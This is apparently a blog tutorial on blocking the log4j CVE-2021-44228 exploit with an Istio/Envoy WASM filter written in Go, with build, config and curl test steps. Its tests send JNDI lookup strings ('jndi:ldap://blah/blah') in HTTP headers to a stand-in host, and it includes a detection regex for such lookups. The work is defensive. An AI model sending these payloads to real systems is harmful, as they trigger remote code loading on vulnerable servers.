Fighting against the log4j vulnerability with istio.
First things first, I would like to start off by saying you should not run the code below in production, there are a million ways to get around it. This post is more to show how we can use istio to detect and block exploits.
To recap, CVE-2021–44228 is an issue where an attacker can send a specific payload that the log4j library will blindly load a java class.
Example
curl -H "User-Agent: jndi:ldap://blah/blah" localhost:8080I am not a java expert or security expert, but I am a DevOps engineer and the first thing that came to mind is we can use istio to prevent this.
Istio and Wasm
You can probably get creative and detect a malicious header with a Istio VirtualService, but then why would I have a need to awrite post about this ? Let’s use WASM to protect us.
What was WASM again ? ( From Google ) WebAssembly (abbreviated Wasm) is a binary instruction format for a stack-based virtual machine. Wasm is designed as a portable compilation target for programming languages, enabling deployment on the web for client and server applications.
When packets come into k8s using istio, envoy ( proxy ) will run filters on it. One of those allows you to run WASM against the network request ( example: HTTP -> pod ( envoy -> run wasm -> run app code ). The goal being we can created a wasm file designed to block the exploit and prevent the packets from ever getting to the applicaiton.
I am running with istio 1.12 so we can use the new WasmPlugin CRD. Once our wasm code is compile and built into a container, we just need to push up a new CRD to the kubernetes API, then the wasm code will be downloaded and imported into envoy.
Writing the code
You can write WASM in many languages but I choose Go for this example. Will also use the proxy-wasm-go-sdk library.
Create a new file called main.go, and start the the imports and default structs.
package mainimport (
"github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm"
"github.com/tetratelabs/proxy-wasm-go-sdk/proxywasm/types"
"regexp"
)type vmContext struct {
types.DefaultVMContext
}
Create a variable callled exploitstring string, this will store the regex we use to find the bad string.
var exploitstring string = "jndi:(ldap[s]?|rmi|dns):/[^\n]+"Other wasm code
func main() {
proxywasm.SetVMContext(&vmContext{})
}// Override types.DefaultVMContext.
func (*vmContext) NewPluginContext(contextID uint32) types.PluginContext {
return &pluginContext{}
}type pluginContext struct {
types.DefaultPluginContext
}// Override types.DefaultPluginContext.
func (*pluginContext) NewHttpContext(contextID uint32) types.HttpContext {
return &httpHeaders{contextID: contextID}
}type httpHeaders struct {
types.DefaultHttpContext
contextID uint32
}// Override types.DefaultHttpContext.
func (ctx *httpHeaders) OnHttpResponseHeaders(numHeaders int, endOfStream bool) types.Action {
return types.ActionContinue
}// Override types.DefaultHttpContext.
func (ctx *httpHeaders) OnHttpStreamDone() {
proxywasm.LogInfof("%d finished", ctx.contextID)
}
We only really care about the function OnHttpRequestHeaders, this gets ran when a request comes in. Let’s create a function where we can loop through the headers looking for the exploit string. If the regex is found the variable “found” is set to true. A HTTP response of 403 is also sent back. The packets never get to the acually application.
func (ctx *httpHeaders) OnHttpRequestHeaders(numHeaders int, endOfStream bool) types.Action {hs, err := proxywasm.GetHttpRequestHeaders()
if err != nil {
proxywasm.LogCriticalf("failed to get request headers: %v", err)
}r, _ := regexp.Compile(exploitstring)
found := falsefor _, h := range hs {
if r.MatchString(h[1]) {
found = true
}
}if found {proxywasm.LogErrorf("Exploit key found !")
proxywasm.SendHttpResponse(403, [][2]string{
{"foundexploit", "found!!"},
}, []byte("\nrequest failed\n"), -1)
proxywasm.ResumeHttpRequest()}return types.ActionContinue
}
Now the WASM code is written, let’s compile with tinygo.
tinygo build -o plugin.wasm -scheduler=none -target=wasi main.goWe want to put our new compiled binary in a Docker image
FROM scratch
ADD plugin.wasm .
CMD ["plugin.wasm"]Build, tag and push to a docker registry.
Istio and WASM
We define a WasmPlugin CRD to use the wasm code with the label app=nginx.
---
apiVersion: extensions.istio.io/v1alpha1
kind: WasmPlugin
metadata:
name: inject-test
namespace: secure
spec:
selector:
matchLabels:
app: nginx
url: oci://<your docker registry>/<image>:<tag>
imagePullPolicy: Always
phase: UNSPECIFIED_PHASEIstio will pull the docker image, get the plugin.wasm file out and add it to envoy filters to be ran.
Testing with envoy only.
Before we push this to istio, we can test this out locally with just envoy. You can run envoy and the WASM code we built by installing envoy brew install envoy
Create a file envoy.yaml
static_resources:
listeners:
- name: main
address:
socket_address:
address: 0.0.0.0
port_value: 8080
filter_chains:
- filters:
- name: envoy.http_connection_manager
typed_config:
"@type": type.googleapis.com/envoy.extensions.filters.network.http_connection_manager.v3.HttpConnectionManager
stat_prefix: ingress_http
codec_type: auto
route_config:
name: all
virtual_hosts:
- name: all
domains:
- "*"
routes:
- match:
prefix: "/"
route:
cluster: web
http_filters:
- name: envoy.filters.http.wasm
typed_config:
"@type": type.googleapis.com/udpa.type.v1.TypedStruct
type_url: type.googleapis.com/envoy.extensions.filters.http.wasm.v3.Wasm
value:
config:
vm_config:
runtime: "envoy.wasm.runtime.v8"
code:
local:
filename: "./plugin.wasm"
- name: envoy.filters.http.router
clusters:
- name: web
connect_timeout: 1s
type: STATIC
lb_policy: ROUND_ROBIN
load_assignment:
cluster_name: pythonhttp
endpoints:
- lb_endpoints:
- endpoint:
address:
socket_address:
address: 127.0.0.1
port_value: 8000Start a backend python server
python3 -m http.serverRun envoy envoy -c envoy.yaml this will start and run envoy with WASM code we built.
curl localhost:8080 --headand the exploit
curl -H "test: jndi:ldap://blah/blah" localhost:8080< HTTP/1.1 403 Forbidden
< foundexploit: found!!
< content-length: 16
< content-type: text/plain
< date: Mon, 03 Jan 2022 05:33:30 GMT
< server: envoy
Nice ! Let’s add to istio
Testing it out.
I created a tmp pod with curl installed. I will hit a nginx service / deploy I created which have the label app=nginx .
kubectl -n secure exec -it shell-85fd7f7946-nc6sv bashRunning the curl command without the exploit string.
curl nginx.secure.svc.cluster.local --head HTTP/1.1 200 OK
server: envoy
date: Sun, 02 Jan 2022 05:01:19 GMT
content-type: text/html
content-length: 615
last-modified: Tue, 28 Dec 2021 15:28:38 GMT
etag: "61cb2d26-267"
accept-ranges: bytes
x-envoy-upstream-service-time: 26
With the malicious string.
curl -H "test: jndi:ldap://blah/blah" nginx.secure.svc.cluster.local -v* Mark bundle as not supporting multiuse
< HTTP/1.1 403 Forbidden
< foundexploit: found!!
< content-length: 16
< content-type: text/plain
< date: Sun, 02 Jan 2022 05:02:54 GMT
< server: envoy
< x-envoy-upstream-service-time: 6
<request failed
Boom! You can see our WASM code returned with a 403 and with the header foundexploit: found!! and text request failed. Looks like our WASM code ran, and detected the exploit.
Code can be found here https://github.com/chris530/jndi-exploit-blog
Profit ?
